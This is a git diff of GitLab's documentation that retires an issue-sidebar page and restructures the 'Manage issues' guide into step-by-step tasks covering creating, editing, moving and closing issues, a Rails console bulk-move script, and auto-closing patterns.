-You can assign issues to an [Epic](../../group/epics/index.md), which allows better
-management of groups of related issues.
-
-### Milestone
-
-Select a [milestone](../milestones/index.md) to attribute that issue to.
-
-### Time tracking
-
-Use [GitLab Quick Actions](../quick_actions.md) to [track estimates and time
-spent on issues](../time_tracking.md). You can add a [time estimate](../time_tracking.md#estimates)
-for resolving the issue, and also add [the time spent](../time_tracking.md#time-spent)
-to resolve the issue.
-
-### Due date
-
-When you work on a tight schedule, it's important to have a way to set a deadline for
-implementations and for solving problems. This can be done in the [due date](due_dates.md)
-element. Due dates can be changed as many times as needed.
-
-### Labels
-
-Categorize issues by giving them [labels](../labels.md). They help to organize workflows,
-and they enable you to work with the [issue board](../issue_board.md).
-
-Group Labels, which allow you to use the same labels for all projects in the same
-group, can also be given to issues. They work exactly the same, but are immediately
-available to all projects in the group.
-
-If a label doesn't exist yet, you can create one by clicking **Edit**
-followed by **Create new label** in the dropdown menu.
-
-### Weight **(PREMIUM)**
-
-[Assign a weight](issue_weight.md) to an issue.
-Larger values are used to indicate more effort is required to complete the issue. Only
-positive values or zero are allowed.
-
-### Confidentiality
-
-You can [set an issue to be confidential](confidential_issues.md). Unauthorized users
-cannot access the issue, and it is not listed in the project's issue boards nor list for them.
-
-### Lock issue
-
-You can [lock the issue](../../discussions/index.md#prevent-comments-by-locking-an-issue)
-to prevent further comments from being added.
-
-### Participants
-
-All the users involved in that issue. Either they participated in the [thread](../../discussions/index.md),
-or were mentioned in the description or threads.
-
-### Notifications
-
-Select the toggle to enable or disable [notifications](../../profile/notifications.md#notifications-on-issues-merge-requests-and-epics)
-for the issue. Notifications are automatically enabled after you participate in the issue in any way.
-
-### Reference
-
-- A quick "copy" button for that issue's reference, which looks like
- `foo/bar#xxx`, where `foo` is the `username` or `groupname`, `bar` is the
- `project-name`, and `xxx` is the issue number.
-
-### Email
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18816) in GitLab 13.8.
-
-Guest users can see a button in the right sidebar to copy the email address for the issue.
-Sending an email to this address creates a comment containing the email body.
-
-### Edit
-
-Clicking this icon opens the issue for editing. All the fields which
-were shown when the issue was created are displayed for editing.
-This icon is only displayed if the user has permission to edit the issue.
-
-### Description
-
-The plain text title and description of the issue fill the top center of the issue page.
-The description fully supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown),
-allowing many formatting options.
-
-[In GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/issues/10103) and later, changes to an
-issue's description are listed in the [issue history](#issue-history). **(PREMIUM)**
-
-### Mentions
-
-You can mention a user or a group present in your GitLab instance with `@username` or
-`@groupname`. All mentioned users are notified via to-do items and emails,
-unless they have disabled all [notifications](#notifications) in their user settings.
-This is controlled in the [notification settings](../../profile/notifications.md).
-
-Mentions for yourself (the user currently signed in) are highlighted
-in a different color, which allows you to quickly see which comments involve you.
-
-Avoid mentioning `@all` in issues and merge requests, as it sends an email notification
-to all the members of that project's group. This might be interpreted as spam.
-
-### Linked Issues
-
-Issues that were mentioned as [linked issues](related_issues.md) are listed here.
-You can also click the `+` to add more linked issues.
-
-### Related Merge Requests
-
-Merge requests that were mentioned in that issue's description or in the issue thread
-are listed as [related merge requests](crosslinking_issues.md#from-merge-requests) here.
-Also, if the current issue was mentioned as related in another merge request, that
-merge request is also listed here.
-
-### Award emoji
-
-You can award emojis to issues. You can select the "thumbs up" and "thumbs down",
-or the gray "smiley-face" to choose from the list of available
-[GitLab Flavored Markdown Emoji](../../markdown.md#emojis).
-
-NOTE:
-Posting "+1" as a comment in a thread spams all subscribed participants of that issue,
-clutters the threads, and is not recommended. Awarding an emoji is a way
-to let them know your reaction without notifying them.
-
-### Show all activity
-
-You can filter what is displayed in the issue history by clicking on **Show all activity**
-and selecting either:
-
-- **Show comments only**, which only shows threads and hides updates to the issue.
-- **Show history only**, which hides threads and only shows updates.
-
-Also:
-
-- You can mention a user or a group present in your GitLab instance with
- `@username` or `@groupname` and they are notified via to-do items
- and emails, unless they have disabled all [notifications](#notifications)
- in their user settings.
-- Mentions for yourself (the current logged-in user) are highlighted
- in a different color, which allows you to quickly see which comments involve you.
-
-![Show all activity](img/show-all-activity.png)
-
-### Create Merge Request
-
-Create a new branch and [**Draft** merge request](../merge_requests/drafts.md)
-in one action. The branch is named `issuenumber-title` by default, but you can
-choose any name, and GitLab verifies that it is not already in use. The merge request
-inherits the milestone and labels of the issue, and is set to automatically
-close the issue when it is merged.
-
-![Create MR from issue](img/create_mr_from_issue.png)
-
-Optionally, you can choose to create a [new branch](../repository/web_editor.md#create-a-new-branch-from-an-issue)
-only, named after that issue.
-
-### Issue history
-
-All comments and updates to the issue are tracked and listed here, but this can be
-filtered, as shown above.
-
-#### Activity sort order
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/14588) in GitLab 12.10.
-
-You can reverse the default order and interact with the activity feed sorted by most recent items
-at the top. Your preference is saved via local storage and automatically applied to every issue
-you view.
-
-To change the activity sort order, click the **Oldest first** dropdown menu and select either oldest
-or newest items to be shown first.
-
-![Issue activity sort order dropdown button](img/issue_activity_sort_order_v12_10.png)
-
-### Comments
-
-Collaborate in the issue by posting comments in its thread. This text field also fully
-supports [GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown).
-
-### Submit comment, start a thread, or comment and close
-
-After you write a comment, you can:
-
-- Click **Comment** to publish your comment.
-- Choose **Start thread** from the dropdown list and start a new [thread](../../discussions/index.md#create-a-thread-without-replying-to-a-comment)
- in that issue's main thread to discuss specific points. This invites other participants
- to reply directly to your thread, keeping related comments grouped together.
-
-![Comment or thread](img/comment-or-discussion.png)
-
-You can also close the issue from here, so you don't need to scroll to the top of the issue page.
-
-### Zoom meetings
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31103) in GitLab 12.3.
-
-You can attach and remove Zoom meetings to issues using the `/zoom` and `/remove_zoom` [quick actions](../quick_actions.md) as part of
-[GitLab Flavored Markdown](../../markdown.md#gitlab-flavored-markdown).
-
-Attaching a [Zoom](https://zoom.us) call an issue
-results in a **Join Zoom meeting** button at the top of the issue, just under the header.
-
-Read more how to [add or remove a zoom meeting](associate_zoom_meeting.md).
-
-### Publish an issue **(ULTIMATE)**
-
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/30906) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.1.
-
-If a status page application is associated with the project, you can use the `/publish` [quick action](../quick_actions.md) to publish the issue. Refer to [GitLab Status Page](../../../operations/incident_management/status_page.md) for more information.
+<!-- This redirect file can be deleted after <2022-02-24>. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/user/project/issues/managing_issues.md b/doc/user/project/issues/managing_issues.md
index 6b3d5d6563a..1a23902514a 100644
--- a/doc/user/project/issues/managing_issues.md
+++ b/doc/user/project/issues/managing_issues.md
@@ -4,293 +4,411 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Managing issues **(FREE)**
+# Manage issues **(FREE)**
[GitLab Issues](index.md) are the fundamental medium for collaborating on ideas and
planning work in GitLab.
-Key actions for issues include:
+## Create an issue
-- [Creating issues](#create-a-new-issue)
-- [Moving issues](#moving-issues)
-- [Closing issues](#closing-issues)
-- [Deleting issues](#deleting-issues)
-- [Promoting issues](#promote-an-issue-to-an-epic) **(PREMIUM)**
+When you create an issue, you are prompted to enter the fields of the issue.
+If you know the values you want to assign to an issue, you can use
+[quick actions](../quick_actions.md) to enter them.
-## Create a new issue
+You can create an issue in many ways in GitLab:
-When you create a new issue, you are prompted to fill in the [data and fields of the issue](issue_data_and_actions.md),
-as illustrated below. If you know the values you want to assign to an issue, you can use the
-[Quick actions](../quick_actions.md) feature to input values.
+- [From a project](#from-a-project)
+- [From a group](#from-a-group)
+- [From another issue](#from-another-issue)
+- [From an issue board](#from-an-issue-board)
+- [By sending an email](#by-sending-an-email)
+- Using a URL with prefilled fields
+- [Using Service Desk](#using-service-desk)
-While creating an issue, you can associate it to an existing epic from current group by
-selecting it using **Epic** dropdown.
+### From a project
-### Accessing the New Issue form
+Prerequisites:
-There are many ways to get to the New Issue form from a project's page:
+- You must have at least the [Guest role](../../permissions.md) for the project.
-- Navigate to your **Project's Dashboard** > **Issues** > **New Issue**:
+To create an issue:
- ![New issue from the issue list view](img/new_issue_from_tracker_list.png)
+1. On the top bar, select **Menu > Projects** and find your project.
+1. Either:
-- From an **open issue** in your project, click the vertical ellipsis (**{ellipsis_v}**) button
- to open a dropdown menu, and then click **New Issue** to create a new issue in the same project:
+ - On the left sidebar, select **Issues**, and then, in the top right corner, select **New issue**.
+ - On the top bar, select the plus sign (**{plus-square}**) and then, under **This project**,
+ select **New issue**.
- ![New issue from an open issue](img/new_issue_from_open_issue_v13_6.png)
+1. Complete the [fields](#fields-in-the-new-issue-form).
+1. Select **Create issue**.
-- From your **Project's Dashboard**, click the plus sign (**+**) to open a dropdown
- menu with a few options. Select **New Issue** to create an issue in that project:
+The newly created issue opens.
- ![New issue from a project's dashboard](img/new_issue_from_projects_dashboard.png)
+### From a group
-- From an **issue board**, create a new issue by clicking on the plus sign (**+**) at the top of a list.
- It opens a new issue for that project, pre-labeled with its respective list.
+Issues belong to projects, but when you're in a group, you can access and create issues that belong
+to the projects in the group.
- ![From the issue board](img/new_issue_from_issue_board.png)
+Prerequisites:
-### Elements of the New Issue form
+- You must have at least the [Guest role](../../permissions.md) for the project in the group.
-> Ability to add the new issue to an epic [was introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13847) in [GitLab Premium](https://about.gitlab.com/pricing/) 13.1.
+To create an issue from a group:
-![New issue from the issues list](img/new_issue_v13_1.png)
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Issues**.
+1. In the top right corner, select **Select project to create issue**.
+1. Select the project you'd like to create an issue for. The button now reflects the selected
+ project.
+1. Select **New issue in `<project name>`**.
+1. Complete the [fields](#fields-in-the-new-issue-form).
+1. Select **Create issue**.
-When you're creating a new issue, these are the fields you can fill in:
+The newly created issue opens.
-- Title
-- Description
-- Checkbox to make the issue [confidential](confidential_issues.md)
-- Assignee
-- Weight
-- [Epic](../../group/epics/index.md)
-- Due date
-- Milestone
-- Labels
+The project you selected most recently becomes the default for your next visit.
+This can save you a lot of time and clicks, if you mostly create issues for the same project.
-### New issue from the group-level issue tracker
+### From another issue
-To visit the issue tracker for all projects in your group:
+> New issue becoming linked to the issue of origin [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/68226) in GitLab 14.3.
-1. Go to the group dashboard.
-1. On the left sidebar, select **Issues**.
-1. In the top-right, select the **Select project to create issue** button.
-1. Select the project you'd like to create an issue for. The button now reflects the selected
- project.
-1. Select the button to create an issue in the selected project.
+You can create a new issue from an existing one. The two issues can then be marked as related.
-![Select project to create issue](img/select_project_from_group_level_issue_tracker_v13_11.png)
+Prerequisites:
-The project you selected most recently becomes the default for your next visit.
-This should save you a lot of time and clicks, if you mostly create issues for the same project.
+- You must have at least the [Guest role](../../permissions.md) for the project.
-### New issue via Service Desk
+To create an issue from another issue:
-Enable [Service Desk](../service_desk.md) for your project and offer email support.
-Now, when your customer sends a new email, a new issue can be created in
-the appropriate project and followed up from there.
+1. In an existing issue, select the vertical ellipsis (**{ellipsis_v}**).
+1. Select **New issue**.
+1. Complete the [fields](#fields-in-the-new-issue-form).
+ The new issue's description is prefilled with `Related to #123`, where `123` is the ID of the
+ issue of origin. If you keep this mention in the description, the two issues become
+ [linked](related_issues.md).
+1. Select **Create issue**.
-### New issue via email
+The newly created issue opens.
-A link to **Email a new issue to this project** is displayed at the bottom of a project's
-**Issues List** page. The link is shown only if your GitLab instance has [incoming email](../../../administration/incoming_email.md)
-configured and there is at least one issue in the issue list.
+### From an issue board
-![Bottom of a project issues page](img/new_issue_from_email.png)
+You can create a new issue from an [issue board](../issue_board.md).
-When you click this link, an email address is generated and displayed, which should be used
-by **you only**, to create issues in this project. You can save this address as a
-contact in your email client for quick access.
+Prerequisites:
-WARNING:
-This is a private email address, generated just for you. **Keep it to yourself**,
-as anyone who knows it can create issues or merge requests as if they
-were you. If the address is compromised, or you want to regenerate it,
-click **Email a new issue to this project**, followed by **reset it**.
+- You must have at least the [Guest role](../../permissions.md) for the project.
+
+To create an issue from a project issue board:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. Select **Issues > Boards**.
+1. At the top of a board list, select **New issue** (**{plus-square}**).
+1. Enter the issue's title.
+1. Select **Create issue**.
+
+To create an issue from a group issue board:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. Select **Issues > Boards**.
+1. At the top of a board list, select **New issue** (**{plus-square}**).
+1. Enter the issue's title.
+1. Under **Projects**, select the project in the group that the issue should belong to.
+1. Select **Create issue**.
-Sending an email to this address creates a new issue associated with your account for
-this project, where:
+The issue is created and shows up in the board list. It shares the list's characteristic, so, for
+example, if the list is scoped to a label `Frontend`, the new issue also has this label.
-- The email subject becomes the issue title.
-- The email body becomes the issue description.
-- [Markdown](../../markdown.md) and [quick actions](../quick_actions.md) are supported.
+### By sending an email
-NOTE:
-In GitLab 11.7, we updated the format of the generated email address. However the
-older format is still supported, allowing existing aliases or contacts to continue working.
+> Generated email address format changed in GitLab 11.7.
+> The older format is still supported, so existing aliases and contacts still work.
-### New issue via URL with prefilled fields
+You can send an email to create an issue in a project on the project's
+**Issues List** page.
+
+Prerequisites:
+
+- Your GitLab instance must have [incoming email](../../../administration/incoming_email.md)
+ configured.
+- There must be at least one issue in the issue list.
+- You must have at least the [Guest role](../../permissions.md) for the project.
+
+To email an issue to a project:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. Select **Issues**.
+1. At the bottom of the page, select **Email a new issue to this project**.
+1. To copy the email address, select **Copy** (**{copy-to-clipboard}**).
+1. From your email client, send an email to this address.
+ The subject is used as the title of the new issue, and the email body becomes the description.
+ You can use [Markdown](../../markdown.md) and [quick actions](../quick_actions.md).
+
+A new issue is created, with your user as the author.
+You can save this address as a contact in your email client to use it again.
+
+WARNING:
+The email address you see is a private email address, generated just for you.
+**Keep it to yourself**, because anyone who knows it can create issues or merge requests as if they
+were you.
+
+To regenerate the email address:
+
+1. On the issues list, select **Email a new issue to this project**.
+1. Select **reset this token**.
+
+### Using a URL with prefilled values
To link directly to the new issue page with prefilled fields, use query
string parameters in a URL. You can embed a URL in an external
-HTML page to create issues with certain
-fields prefilled.
+HTML page to create issues with certain fields prefilled.
+
+| Field | URL parameter | Notes |
+| -------------------- | --------------------- | ------------------------------------------------------------------------------------------------------------------------------- |
+| Title | `issue[title]` | Must be [URL-encoded](../../../api/index.md#namespaced-path-encoding). |
+| Issue type | `issue[issue_type]` | Either `incident` or `issue`. |
+| Description template | `issuable_template` | Cannot be used at the same time as `issue[description]`. Must be [URL-encoded](../../../api/index.md#namespaced-path-encoding). |
+| Description | `issue[description]` | Cannot be used at the same time as `issuable_template`. Must be [URL-encoded](../../../api/index.md#namespaced-path-encoding). |
+| Confidential | `issue[confidential]` | If `true`, the issue is marked as confidential. |
+
+Adapt these examples to form your new issue URL with prefilled fields.
+To create an issue in the GitLab project:
+
+- With a prefilled title and description:
+
+ ```plaintext
+ https://gitlab.com/gitlab-org/gitlab/-/issues/new?issue[title]=Whoa%2C%20we%27re%20half-way%20there&issue[description]=Whoa%2C%20livin%27%20in%20a%20URL
+ ```
-| Field | URL Parameter Name | Notes |
-|----------------------|-----------------------|-------------------------------------------------------|
-| title | `issue[title]` | |
-| description | `issue[description]` | Cannot be used at the same time as `issuable_template`. |
-| description template | `issuable_template` | Cannot be used at the same time as `issue[description]`. |
-| issue type | `issue[issue_type]` | Either `incident` or `issue`. |
-| confidential | `issue[confidential]` | Parameter value must be `true` to set to confidential. |
+- With a prefilled title and description template:
-Follow these examples to form your new issue URL with prefilled fields.
+ ```plaintext
+ https://gitlab.com/gitlab-org/gitlab/-/issues/new?issue[title]=Validate%20new%20concept&issuable_template=Feature%20Proposal%20-%20basic
+ ```
-- For a new issue in the GitLab Community Edition project with a pre-filled title
- and a pre-filled description, the URL would be `https://gitlab.com/gitlab-org/gitlab-foss/-/issues/new?issue[title]=Validate%20new%20concept&issue[description]=Research%20idea`
-- For a new issue in the GitLab Community Edition project with a pre-filled title
- and a pre-filled description template, the URL would be `https://gitlab.com/gitlab-org/gitlab-foss/-/issues/new?issue[title]=Validate%20new%20concept&issuable_template=Research%20proposal`
-- For a new issue in the GitLab Community Edition project with a pre-filled title,
- a pre-filled description, and the confidential flag set, the URL would be `https://gitlab.com/gitlab-org/gitlab-foss/-/issues/new?issue[title]=Validate%20new%20concept&issue[description]=Research%20idea&issue[confidential]=true`
+- With a prefilled title, description, and marked as confidential:
-## Bulk edit issues at the project level
+ ```plaintext
+ https://gitlab.com/gitlab-org/gitlab/-/issues/new?issue[title]=Validate%20new%20concept&issue[description]=Research%20idea&issue[confidential]=true
+ ```
-> - Assigning epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in GitLab 13.2.
+### Using Service Desk
+
+To offer email support, enable [Service Desk](../service_desk.md) for your project.
+
+Now, when your customer sends a new email, a new issue can be created in
+the appropriate project and followed up from there.
+
+### Fields in the new issue form
+
+> Adding the new issue to an epic [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13847) in GitLab 13.1.
+
+When you're creating a new issue, you can complete the following fields:
+
+- Title
+- Type: either issue (default) or incident
+- [Description template](../description_templates.md): overwrites anything in the Description text box
+- Description: you can use [Markdown](../../markdown.md) and [quick actions](../quick_actions.md)
+- Checkbox to make the issue [confidential](confidential_issues.md)
+- [Assignees](#assignee)
+- [Weight](issue_weight.md)
+- [Epic](../../group/epics/index.md)
+- [Due date](due_dates.md)
+- [Milestone](../milestones/index.md)
+- [Labels](../labels.md)
+
+## Edit an issue
+
+You can edit an issue's title and description.
+
+Prerequisites:
+
+- You must have at least the [Reporter role](../../permissions.md) for the project.
+
+To edit an issue:
+
+1. To the right of the title, select **Edit title and description** (**{pencil}**).
+1. Edit the available fields.
+1. Select **Save changes**.
+
+### Bulk edit issues from a project
+
+> - Assigning epic [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in GitLab 13.2.
> - Editing health status [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218395) in GitLab 13.2.
> - Editing iteration [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196806) in GitLab 13.9.
-Users with permission level of [Reporter or higher](../../permissions.md) can manage issues.
+You can edit multiple issues at a time when you're in a project.
+
+Prerequisites:
+
+- You must have at least the [Reporter role](../../permissions.md) for the project.
+
+To edit multiple issues at the same time:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Issues**.
+1. Select **Edit issues**. A sidebar on the right of your screen appears.
+1. Select the checkboxes next to each issue you want to edit.
+1. From the sidebar, edit the available fields.
+1. Select **Update all**.
When bulk editing issues in a project, you can edit the following attributes:
-- Status (open/closed)
-- Assignee
+- Status (open or closed)
+- [Assignees](#assignee)
- [Epic](../../group/epics/index.md)
- [Milestone](../milestones/index.md)
- [Labels](../labels.md)
- [Health status](#health-status)
-- Notification subscription
+- [Notification](../../profile/notifications.md) subscription
- [Iteration](../../group/iterations/index.md)
-To update multiple project issues at the same time:
-
-1. In a project, go to **Issues > List**.
-1. Click **Edit issues**. A sidebar on the right-hand side of your screen appears with editable fields.
-1. Select the checkboxes next to each issue you want to edit.
-1. Select the appropriate fields and their values from the sidebar.
-1. Click **Update all**.
-
-## Bulk edit issues at the group level
+### Bulk edit issues from a group
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/7249) in GitLab 12.1.
-> - Assigning epic ([introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in GitLab 13.2.
+> - Assigning epic [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/210470) in GitLab 13.2.
> - Editing health status [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/218395) in GitLab 13.2.
> - Editing iteration [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/196806) in GitLab 13.9.
-Users with permission level of [Reporter or higher](../../permissions.md) can manage issues.
+You can edit multiple issues across multiple projects when you're in a group.
+
+Prerequisites:
+
+- You must have at least the [Reporter role](../../permissions.md) for a group.
+
+To edit multiple issues at the same time:
+
+1. On the top bar, select **Menu > Groups** and find your group.
+1. On the left sidebar, select **Issues**.
+1. Select **Edit issues**. A sidebar on the right of your screen appears.
+1. Select the checkboxes next to each issue you want to edit.
+1. From the sidebar, edit the available fields.
+1. Select **Update all**.
When bulk editing issues in a group, you can edit the following attributes:
- [Epic](../../group/epics/index.md)
- [Milestone](../milestones/index.md)
+- [Iteration](../../group/iterations/index.md)
- [Labels](../labels.md)
- [Health status](#health-status)
-- [Iteration](../../group/iterations/index.md)
-To update multiple project issues at the same time:
+## Move an issue
-1. In a group, go to **Issues > List**.
-1. Click **Edit issues**. A sidebar on the right-hand side of your screen appears with editable fields.
-1. Select the checkboxes next to each issue you want to edit.
-1. Select the appropriate fields and their values from the sidebar.
-1. Click **Update all**.
-
-## Moving issues
-
-Moving an issue copies it to the target project, and closes it in the originating project.
+When you move an issue, it's closed and copied to the target project.
The original issue is not deleted. A system note, which indicates
where it came from and went to, is added to both issues.
-The "Move issue" button is at the bottom of the right-sidebar when viewing the issue.
+Prerequisites:
-![move issue - button](img/sidebar_move_issue.png)
+- You must have at least the [Reporter role](../../permissions.md) for the project.
-### Moving issues in bulk **(FREE SELF)**
+To move an issue:
-If you have advanced technical skills you can also bulk move all the issues from
-one project to another in the rails console. The below script moves all issues
-that are not in status **closed** from one project to another.
+1. Go to the issue.
+1. On the right sidebar, select **Move issue**.
+1. Search for a project to move the issue to.
+1. Select **Move**.
-To access rails console run `sudo gitlab-rails console` on the GitLab server and run the below
-script. Please be sure to change `project`, `admin_user`, and `target_project` to your values.
-We do also recommend [creating a backup](../../../raketasks/backup_restore.md) before
-attempting any changes in the console.
+### Bulk move issues **(FREE SELF)**
-```ruby
-project = Project.find_by_full_path('full path of the project where issues are moved from')
-issues = project.issues
-admin_user = User.find_by_username('username of admin user') # make sure user has permissions to move the issues
-target_project = Project.find_by_full_path('full path of target project where issues moved to')
+You can move all open issues from one project to another.
-issues.each do |issue|
- if issue.state != "closed" && issue.moved_to.nil?
- Issues::MoveService.new(project, admin_user).execute(issue, target_project)
- else
- puts "issue with id: #{issue.id} and title: #{issue.title} was not moved"
- end
-end; nil
-```
+Prerequisites:
+
+- You must have at least the [Reporter role](../../permissions.md) for the project.
+
+To do it:
+
+1. Optional (but recommended). [Create a backup](../../../raketasks/backup_restore.md) before
+ attempting any changes in the console.
+1. Open the [Rails console](../../../administration/operations/rails_console.md).
+1. Run the following script. Make sure to change `project`, `admin_user`, and `target_project` to
+ your values.
+
+ ```ruby
+ project = Project.find_by_full_path('full path of the project where issues are moved from')
+ issues = project.issues
+ admin_user = User.find_by_username('username of admin user') # make sure user has permissions to move the issues
+ target_project = Project.find_by_full_path('full path of target project where issues moved to')
+
+ issues.each do |issue|
+ if issue.state != "closed" && issue.moved_to.nil?
+ Issues::MoveService.new(project, admin_user).execute(issue, target_project)
+ else
+ puts "issue with id: #{issue.id} and title: #{issue.title} was not moved"
+ end
+ end; nil
+ ```
+
+1. To exit the Rails console, enter `quit`.
-## Closing issues
+## Close an issue
-When you decide that an issue is resolved, or no longer needed, you can close the issue
-using the close button:
+When you decide that an issue is resolved or no longer needed, you can close it.
+The issue is marked as closed but is not deleted.
-![close issue - button](img/button_close_issue_v13_6.png)
+Prerequisites:
-You can also close an issue from the [issue boards](../issue_board.md) by dragging an issue card
-from its list and dropping it into the **Closed** list.
+- You must have at least the [Reporter role](../../permissions.md) for the project.
-![close issue from the issue board](img/close_issue_from_board.gif)
+To close an issue, you can do the following:
+
+- At the top of the issue, select **Close issue**.
+- In an [issue board](../issue_board.md), drag an issue card from its list into the **Closed** list.
+
+ ![close issue from the issue board](img/close_issue_from_board.gif)
+
+### Reopen a closed issue
+
+Prerequisites:
+
+- You must have at least the [Reporter role](../../permissions.md) for the project.
+
+To reopen a closed issue, at the top of the issue, select **Reopen issue**.
+A reopened issue is no different from any other open issue.
### Closing issues automatically
-When a commit or merge request resolves issues, the issues
-can be closed automatically when the commit reaches the project's default branch.
+You can close issues automatically by using certain words in the commit message or MR description.
-If a commit message or merge request description contains text matching a [defined pattern](#default-closing-pattern),
-all issues referenced in the matched text are closed. This happens when the commit
-is pushed to a project's [**default** branch](../repository/branches/default.md),
-or when a commit or merge request is merged into it.
+If a commit message or merge request description contains text matching the [defined pattern](#default-closing-pattern),
+all issues referenced in the matched text are closed when either:
-For example, if `Closes #4, #6, Related to #5` is included in a Merge Request
-description, issues `#4` and `#6` are closed automatically when the MR is merged, but not `#5`.
-Using `Related to` flags `#5` as a [related issue](related_issues.md),
-but is not closed automatically.
+- The commit is pushed to a project's [**default** branch](../repository/branches/default.md).
+- The commit or merge request is merged into the default branch.
-![merge request closing issue when merged](img/merge_request_closes_issue_v13_11.png)
+For example, if you include `Closes #4, #6, Related to #5` in a merge request
+description:
-If the issue is in a different repository than the MR, add the full URL for the issue(s):
+- Issues `#4` and `#6` are closed automatically when the MR is merged.
+- Issue `#5` is marked as a [related issue](related_issues.md), but it's not closed automatically.
-```markdown
-Closes #4, #6, and https://gitlab.com/<username>/<projectname>/issues/<xxx>
-```
+Alternatively, when you [create a merge request from an issue](../merge_requests/getting_started.md#merge-requests-to-close-issues),
+it inherits the issue's milestone and labels.
For performance reasons, automatic issue closing is disabled for the very first
push from an existing repository.
#### Default closing pattern
-When not specified, this default issue closing pattern is used:
+To automatically close an issue, use the following keywords followed by the issue reference.
-```shell
-\b((?:[Cc]los(?:e[sd]?|ing)|\b[Ff]ix(?:e[sd]|ing)?|\b[Rr]esolv(?:e[sd]?|ing)|\b[Ii]mplement(?:s|ed|ing)?)(:?) +(?:(?:issues? +)?%{issue_ref}(?:(?: *,? +and +| *,? *)?)|([A-Z][A-Z0-9_]+-\d+))+)
-```
-
-This translates to the following keywords:
+Available keywords:
- Close, Closes, Closed, Closing, close, closes, closed, closing
- Fix, Fixes, Fixed, Fixing, fix, fixes, fixed, fixing
- Resolve, Resolves, Resolved, Resolving, resolve, resolves, resolved, resolving
- Implement, Implements, Implemented, Implementing, implement, implements, implemented, implementing
-Note that `%{issue_ref}` is a complex regular expression defined inside the GitLab
-source code that can match references to:
+Available issue reference formats:
- A local issue (`#123`).
- A cross-project issue (`group/project#123`).
-- A link to an issue (`https://gitlab.example.com/group/project/issues/123`).
+- The full URL of an issue (`https://gitlab.example.com/group/project/issues/123`).
-For example the following commit message:
+For example:
```plaintext
Awesome commit message
@@ -300,54 +418,93 @@ This commit is also related to #17 and fixes #18, #19
and https://gitlab.example.com/group/otherproject/issues/23.
```
-closes `#18`, `#19`, `#20`, and `#21` in the project this commit is pushed to,
+The previous commit message closes `#18`, `#19`, `#20`, and `#21` in the project this commit is pushed to,
as well as `#22` and `#23` in `group/otherproject`. `#17` is not closed as it does
-not match the pattern. It works with multi-line commit messages as well as one-liners
-when used from the command line with `git commit -m`.
+not match the pattern.
+
+You can use the closing patterns in multi-line commit messages or one-liners
+done from the command line with `git commit -m`.
-#### Disabling automatic issue closing
+The default issue closing pattern regex:
+
+```shell
+\b((?:[Cc]los(?:e[sd]?|ing)|\b[Ff]ix(?:e[sd]|ing)?|\b[Rr]esolv(?:e[sd]?|ing)|\b[Ii]mplement(?:s|ed|ing)?)(:?) +(?:(?:issues? +)?%{issue_ref}(?:(?: *,? +and +| *,? *)?)|([A-Z][A-Z0-9_]+-\d+))+)
+```
+
+#### Disable automatic issue closing
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/19754) in GitLab 12.7.
-The automatic issue closing feature can be disabled on a per-project basis
-in the [project's repository settings](../settings/index.md). Referenced
-issues are still displayed, but are not closed automatically.
+You can disable the automatic issue closing feature on a per-project basis
+in the [project's settings](../settings/index.md).
+
+Prerequisites:
-![disable issue auto close - settings](img/disable_issue_auto_close.png)
+- You must have at least the [Maintainer role](../../permissions.md) for the project.
-The automatic issue closing is also disabled in a project if the project has the issue tracker
+To disable automatic issue closing:
+
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > Repository**.
+1. Expand **Default branch**.
+1. Select **Auto-close referenced issues on default branch**.
+1. Select **Save changes**.
+
+Referenced issues are still displayed, but are not closed automatically.
+
+The automatic issue closing is disabled by default in a project if the project has the issue tracker
disabled. If you want to enable automatic issue closing, make sure to
[enable GitLab Issues](../settings/index.md#sharing-and-permissions).
-This only applies to issues affected by new merge requests or commits. Already
-closed issues remain as-is.
+Changing this setting applies only to new merge requests or commits. Already
+closed issues remain as they are.
If issue tracking is enabled, disabling automatic issue closing only applies to merge requests
-attempting to automatically close issues within the same project.
+attempting to automatically close issues in the same project.
Merge requests in other projects can still close another project's issues.
-#### Customizing the issue closing pattern **(FREE SELF)**
+#### Customize the issue closing pattern **(FREE SELF)**
+
+Prerequisites:
-In order to change the default issue closing pattern, GitLab administrators must edit the
+- You must have the [administrator access level](../../../administration/index.md) for your GitLab instance.
+
+To change the default issue closing pattern, edit the
[`gitlab.rb` or `gitlab.yml` file](../../../administration/issue_closing_pattern.md)
of your installation.
## Change the issue type
-Users with the [Developer role](../../permissions.md)
-can change an issue's type. To do this, edit the issue and select an issue type from the
-**Issue type** selector menu:
+Prerequisites:
+
+- You must be the issue author or have at least the [Reporter role](../../permissions.md) for the project.
+
+To change issue type:
+
+1. To the right of the title, select **Edit title and description** (**{pencil}**).
